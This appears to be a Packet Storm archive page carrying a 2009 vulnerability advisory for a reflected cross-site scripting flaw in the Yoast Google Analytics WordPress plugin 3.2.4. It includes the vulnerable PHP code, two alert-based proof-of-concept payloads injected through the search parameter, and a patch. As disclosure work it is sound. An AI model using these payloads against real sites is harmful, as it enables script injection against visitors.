what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Yoast Google Analytics Cross Site Scripting

Yoast Google Analytics Cross Site Scripting
Posted Dec 5, 2009
Authored by MaXe

Yoast Google Analytics version 3.2.4 for Wordpress suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 2710a8ae487c43fc21d8dd85bdfcba8d0d7987f648fb20651abd8ccd591ca3af

Yoast Google Analytics Cross Site Scripting

Change Mirror Download
Yoast GA Plugin for WP - Cross Site Scripting Vulnerability

Version Affected: 3.2.4 (newest)

Info: The Google Analytics for WordPress plugin automatically tracks and
segments all outbound links from within posts, comment author links, links
within comments, blogroll links and downloads. It also allows you to track
AdSense clicks, add extra search engines, track image search queries and it
will even work together with Urchin.

Credits: InterN0T

External Links:
http://yoast.com/wordpress/google-analytics/


-:: The Advisory ::-
On line 353 in googleanalytics.php the following vulnerable code was identified:
/**
* If this is a 404 page, track the 404 and prevent all other stuff as it's not needed.
*/
if ( is_404() ) {
echo "\t\t".'pageTracker._trackPageview("/404.html?page=" + document.location.pathname + document.location.search + "&from=" + document.referrer);'."\n";
echo "\t".'} catch(err) {}'."\n";
echo '</script>'."\n";
} else if ($wp_query->is_search && $wp_query->found_posts == 0) {
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.$wp_query->query_vars['s'].'&cat=no-results");'."\n";
echo "\t".'} catch(err) {}'."\n";
echo '</script>'."\n";

In order to trigger this bug, a 404 (Not Found) message must be the response when supplying the XSS code into the search-form.

One can either end the script tag or use javascript in order to abuse this issue.


Proof of Concept's:
A. </script>alert(0)</script>
B. ");alert(0);document.write("

Example:
A. hxxp://localhost/wp/?s=</script><script>alert(0)</script>
B. hxxp://localhost/wp/?s=");alert(0);document.write("

If magic_quotes is enabled inside php.ini, Proof of Concept (B) wont work.


-:: Solution ::-
The following patch was supplied to the vendor:

On line 361 in googleanalytics.php the following piece of code is vulnerable to Cross Site Scripting:
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.$wp_query->query_vars['s'].'&cat=no-results");'."\n";

In order to prevent this, One will have to use f.ex. htmlentities or rawurlencode to secure it:
echo "\t\t".'pageTracker._trackPageview("'.get_bloginfo('url').'/?s=no-results: '.rawurlencode($wp_query->query_vars['s']).'&cat=no-results");'."\n";

The reason why we thought rawurlencode might be suitable is because htmlentities in a tracking URL might break the Google Analytics Tracking.


Disclosure Information:
- Vulnerability found 3rd December
- Patch was made available 4th December
- Disclosed on InterN0T 4th December
- Vendor and Buqtraq (SecurityFocus) contacted the 4th December


All of the best,
MaXe
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close